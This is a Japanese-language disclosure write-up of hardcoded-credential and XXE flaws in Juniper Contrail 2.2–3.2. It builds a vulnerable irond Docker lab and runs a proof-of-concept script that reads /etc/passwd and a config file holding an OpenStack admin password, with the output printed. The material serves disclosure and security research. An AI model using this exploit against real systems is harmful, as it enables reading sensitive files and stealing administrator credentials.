
Contrail: ハードコードされた認証情報 (CVE-2017-10616) と XML External Entity (XXE) 脆弱性 (CVE-2017-10617)
これらの2つの脆弱性は、Juniper Contrail バージョン 2.2、3.0、3.1、3.2 に影響します:
ベンダーのセキュリティ速報は、Juniper Security Alert JSA10819 2017-10 で確認できます。
Contrail 製品の脆弱なサービスは IFMAP デーモンであり、これは irond からパッケージ化されています。簡単のため、irond を使用して XXE 脆弱性の悪用を進めます。
私たちは皆、遊ぶのが大好きです。イメージをビルドするには:
$ cd vulnerable-irond
$ docker build -t vulnerable-irond .
このイメージは、maven alpine イメージをベースにしており、irond リポジトリのクローンが含まれています。
Contrail の設定に一致するテストファイルが脆弱なイメージ上の /etc/contrail/openstackrc に配置されています。このファイルには OpenStack 管理者パスワードが含まれており、これはかなり機密性の高い資産です。
脆弱な IFMAP サービスを起動するには:
$ docker run -ti --rm -p 8443:8443 vulnerable-irond
IFMAP サービスは、ローカルマシンのポート 8443 で利用可能になりました。
脆弱な IFMAP サービスがセットアップされたら、次のように実行します:
$ ./poc-xxe.py -g /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
$ ./poc-xxe.py -g /etc/contrail/openstackrc
export OS_USERNAME=admin
export OS_PASSWORD=6b000a589c700b077ef9729513e5d6fc
...
これにより、OpenStack 管理者パスワードが効果的に漏洩します。